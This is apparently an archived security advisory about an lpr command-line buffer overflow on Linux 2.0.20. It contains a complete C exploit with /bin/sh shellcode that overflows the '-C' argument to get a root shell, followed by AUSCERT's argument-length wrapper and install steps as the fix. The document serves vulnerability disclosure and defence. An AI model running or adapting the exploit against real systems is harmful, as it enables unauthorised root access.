COMMAND

    lpr

SYSTEMS AFFECTED

    Linux 2.0.20 (others?)

PROBLEM

    Due  to  insufficient  bounds  checking  on  arguments  which  are
    supplied by users, it is possible to overwrite the internal  stack
    space of the lpr  program while it is  executing.  This can  allow
    an  intruder  to  cause  lpr  to  execute  arbitrary  commands  by
    supplying a carefully  designed argument to  lpr.  These  commands
    will be run with the privileges  of the lpr program.  When  lpr is
    installed setuid or setgid, it  may allow intruders to gain  those
    privileges.  When lpr is setuid root it may allow intruders to run
    arbitrary commands with root privileges.

-------------------------------------- linux_lpr_exploit.c ----------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i<strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}

SOLUTION

    The lpr printing package  is available on many  different systems.
    As  vendor  patches  are  made  available  sites are encouraged to
    install  them.   Until  vendor  patches  are  available,   AUSCERT
    recommends that sites apply the lpr wrapper.

 ---------------------------------------------------------------------------
/*
 * lpr_wrapper.c -- wrap lpr to prevent a command line buffer overrun
 *
 *      This wrapper is part of AUSCERT Advisory AA-96.12.  The latest
 *      version of this advisory is available from:
 *
 *      ftp://ftp.auscert.org.au/pub/auscert/advisory/
 *                              AA-96.12.lpr.buffer.overrun.vul
 *
 *      This program is designed to be an interim relief measure
 *      until official vendor patches are made available.
 *
 *
 * Author:      AUSCERT
 *              Prentice Centre
 *              The University of Queensland
 *              Qld.  4072.
 *              Australia.
 *
 *              auscert@auscert.org.au
 *
 * DISCLAIMER:  The use of this program is at your own risk.  It is
 *              designed to combat a particular vulnerability, and may
 *              not combat other vulnerabilities, either past or future.
 *              The decision to use this program is yours, as are the
 *              consequences of its use.
 *
 *              This program is designed to be an interim relief measure
 *              until appropriate patches can be obtained from your vendor.
 *
 *
 * Installation instructions
 * ~~~~~~~~~~~~~~~~~~~~~~~~~
 *
 *  1.  su to root
 *
 *  2.  Determine the location of lpr.  On FreeBSD and Linux systems it
 *      is located in /usr/bin/.   For example purposes only, /usr/bin/
 *      will be used in following instructions for the location of lpr.
 *
 *  3.  Determine the permissions, owner, and group of lpr.  This
 *      information will be used later.  For example:
 *
 *              # ls -lg /usr/bin/lpr
 *
 *      If lpr does not have setuid or setgid permissions, the installation
 *      of this wrapper program is not necessary.  The version of lpr
 *      in this case does not contain the vulnerability described in
 *      this advisory.
 *
 *  4.  Copy the real lpr program to lpr.real, and then change the
 *      permissions on it.
 *
 *              # cd /usr/bin
 *              # cp lpr lpr.real
 *              # chmod 711 lpr.real
 *
 *  5.  Edit this wrapper program and define REAL_LPR.  By default,
 *      REAL_LPR is defined as "/usr/bin/lpr.real".   This should be
 *      an absolute pathname.
 *
 *  6.  Compile this program in a directory other than /usr/bin.
 *      For example to use /usr/local/src, first copy this file into
 *      /usr/local/src.
 *
 *              # cd /usr/local/src
 *              # cc -o lpr lpr_wrapper.c
 *
 *      If you wish error messages to be logged by syslog when
 *      arguments that may exploit the buffer overrun vulnerability
 *      are passed to lpr, add -DSYSLOG to the compile time options.
 *
 *              # cc -DSYSLOG -o lpr lpr_wrapper.c
 *
 *  7.  Copy this new wrapper program into the directory originally
 *      containing lpr.  This will replace the existing lpr program.
 *
 *      Make sure this directory and its parent directories are protected so
 *      only root is able to make changes to files in the directory.
 *
 *      Use the information found in step #3 and set the same
 *      owner, group, permissions and privileges on the new lpr program.
 *
 *      For example:
 *
 *              # cp lpr /usr/bin
 *              # cd /usr/bin
 *              # chown root lpr
 *              # chgrp daemon lpr
 *              # chmod 6711 lpr
 *
 *      Check that the owner, group, permissions and privileges exactly
 *      match those noted in step #3.
 *
 *              # ls -lg /usr/bin/lpr
 *
 *      Users will not be able to print during the time when the
 *      wrapper is copied into place until the chmod command has been
 *      executed.
 *
 * 8.   Check that printing still works!
 *
 */

static char     Version[] = "lpr_wrapper V1.0 26-Nov-1996";


#include <stdio.h>
#include <syslog.h>

/*
 * Make sure REAL_LPR points to the location you copied lpr to in
 * step #4.
 */

#define REAL_LPR "/usr/bin/lpr.real"

main(argc,argv,envp)
int     argc;
char    *argv[];
char    *envp[];
{
        int     ct;

        for (ct=1;ct<argc;ct++)
        {
                if (strlen(argv[ct]) > BUFSIZ)
                {
                        fprintf(stderr,"You have exceeded the argument length ...Exiting\n");
#ifdef SYSLOG
                        syslog(LOG_ERR,"Possible lpr buffer overrun attack by uid %d\n",getuid());
#endif

                        exit(1);
                }
        }
        execve(REAL_LPR,argv,envp);
        perror("execve lpr failed");
}

 ----------------------------------------------------------------------------